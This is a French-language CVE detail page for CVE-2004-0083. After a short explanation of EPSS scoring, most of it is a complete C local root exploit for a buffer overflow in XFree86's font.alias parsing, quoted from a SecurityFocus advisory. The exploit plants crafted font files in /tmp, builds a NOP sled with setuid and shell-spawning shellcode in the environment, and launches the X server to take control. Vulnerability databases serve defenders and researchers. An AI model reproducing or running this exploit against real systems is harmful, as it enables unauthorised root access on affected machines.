CVE-2004-0083 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/9636/info It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system. /* For educational purposes only */ /* Brought to you by bender2@lonestar.org 11.10.2004 */ #include <fcntl.h> #define NOPNUM 8000 #define ADRNUM 1058 /* shellcode from LSD */ char setuidcode[]= /* 8 bytes */ "\x33\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ ; char shellcode[]= /* 24 bytes */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//id" /* pushl $0x68732f2f */ "\x68""/tmp" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; char jump[]= "\x8b\xc4" /* movl %esp,%eax */ "\xc3" /* ret */ ; main(int argc,char **argv){ char buffer[20000],adr[4],pch[4],*b,*envp[4]; int i,fd; *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000; envp[0]=&buffer[2000]; envp[1]=0; printf("adr: 0x%x\n",adr+12000); b=buffer; strcpy(buffer,"1\n"); strcat(buffer,"aaaa.pcf -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n"); fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666); write(fd,buffer,strlen(buffer)); for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b++='\n'; fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666); write(fd,buffer,strlen(buffer)); close(fd); b=&buffer[2000]; for(i=0;i<NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++) *b++=0x90; for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp); }